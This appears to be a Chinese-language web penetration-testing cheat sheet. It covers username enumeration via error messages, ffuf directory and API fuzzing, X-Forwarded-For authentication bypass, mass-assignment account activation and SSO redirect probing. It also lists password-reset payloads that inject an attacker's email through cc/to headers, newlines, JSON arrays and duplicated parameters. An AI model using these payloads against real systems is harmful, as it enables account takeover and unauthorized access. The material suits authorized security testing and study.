枚举用户名,根据返回的是Username invalid 还是 Password invalid来判断

使用FUFF可以匹配返回结果,减少看burp的繁琐

1
2
把登录请求存为r.txt,然后把里面username字段的值改为FUZZ
ffuf -request r.txt -fr "Username is invalid" -w username.txt

同时枚举用户名和密码,用cluster blomb的payload

枚举目录

1
ffuf -u https://xxx.com/user/FUZZ -w directory.txt

有时候目录也可以靠猜,比如有个user_login的目录,我们要知道注册的目录在哪,就可能是user_register

1
ffuf -u https://xxx.com/user/user_FUZZ -w directory.txt

js文件找接口,加密了的js文件也要搜索一下api这种关键词

比如有一个/api/auth/login 的接口泄露了,还得枚举一下/api/auth下有没有别的接口,比如/api/auth/register

1
2
3
4
5
6
curl查看详细返回
curl -ik http://xxx.com/api/register
指定header
curl -ik http://xxx.com/api/register/ -H 'Content-type: application/json'
指定方式
curl -ik http://xxx.com/api/register/ -H 'Content-type: application/json' -X POST

密码重置的时候,如果返回包有token之类的,可以fuzz一下目录,看看有没有reset之类的接口可以用到token

/api/users 是 Forbidden,不意味着子目录也是403,比如/api/users/2 (2是用户id)就可能可以访问,多试一下

强制重置密码

忘记密码的数据包,比如只POST了一个username字段,然后返回包显示”send email to xxx@gmailcom”

这个时候可以多试一下能不能在请求包里手动添加email字段来达到覆盖?能不能改成json格式发?

1
username=admin&email=admin@domain.com,attacker@gmail.com

有的重置密码也会用到to或者cc字段

1
2
3
4
5
6
7
username=admin&email=admin@domain.com,cc:attacker@gmail.com

username=admin&email=admin@domain.com,to:attacker@gmail.com

username=admin&email=admin@domain.com\ncc:attacker@gmail.com

username=admin&email=admin@domain.com\nto:attacker@gmail.com

json格式

1
2
{"email":"victim@gmail.com","email@gmail.com"}
{"email":["victim@gmail.com","email@gmail.com"]}

能不能多次定义?

1
username=admin&email=admin@domain.com&email=attacker@gmail.com

or

1
username=admin&user[email][]=admin@domain.com&user[email][]=attacker@gmail.com

Bypassing API Authentication with X-Forwarded-For,顾名思义,有的API接口只能加上X-Forwarded-For的header信息去访问,设置为127.0.0.1

如果有的API接口设置了X-Forwarded-For还是不能访问,先看js文件里有没有能分析出来的IP地址

1
2
3
4
5
curl -H 'X-Forwarded-For:127.0.0.1' https://xxx.com/user/api/auth/resgister
然后扫目录,发现https://xxx.com/user/admin目录
curl -I https://xxx.com/user/admin or curl -I https://xxx.com/user/admin/
返回包里有Location字段,Location里有内网的IP地址
然后fuzz

有的情况,注册用户的时候,不会立即让你注册,会提示用户正在审核,怎么强制让用户生效

首先还是要看每一个API请求,不仅是注册,包括编辑用户信息这些页面(如果有的话),看有没有返回用户状态的数据(一般是json格式)

比如发现了/assignment/api/me.php ,返回的数据有 status 字段,值是pending,还有id字段,那么就可以先尝试拿着Id字段去作为GET请求访问试一下,比如 /assignment/api/{id} ,然后再去register的页面访问 /assignment/register.php 把POST的数据加上一个字段status,比如username=admin&password=admin&status=approved (有时候也是json格式)

SSO页面,也就是点击登录之后会重定向到第三方的登录页面,一般是okta这种

比如GET请求去访问 xxx.yyy.com 返回数据是302,Redirecting to http://okta.yyy.com ,并且返回的数据包里有一个js路径 /js/app.min.js

第一件事要做的是fuzz一下有没有配置错误?这里的配置错误指的是,正常我们访问xxx.yyy.com下的任何路径都应该是302重定向,不应该出现404,比如去访问 xxx.yyy.com/ddd 如果返回了404,就去fuzz一下有没有可能不返回302而是返回200的目录?

1
2
3
curl http://xxx.yyy.com/ddd -i
curl http://xxx.yyy.com/ddd -I
(I和i参数不一样)
1
2
ffuf -u http://xxx.yyy.com/FUZZ/ -w dict.txt -fc.301
fc参数表示过滤301响应的

第二件事要做的就是看js代码,就是/js/app.min.js里有没有泄露接口?

比如fuzz出来一个api,js里有个api/publishing-api,那么就可以继续fuzz api/publishing-api,比如返回了api/publishing-api/users,那么就可以猜测api/publishing-api/user/{user_id} 可能导致数据泄露

也就是说,碰到重定向的,记得fuzz一下目录看有没有不重定向的路径或者文件(php,asp)

1
ffuf -u http://xxx.yyy.com/FUZZ.php -w dict.txt -fc.301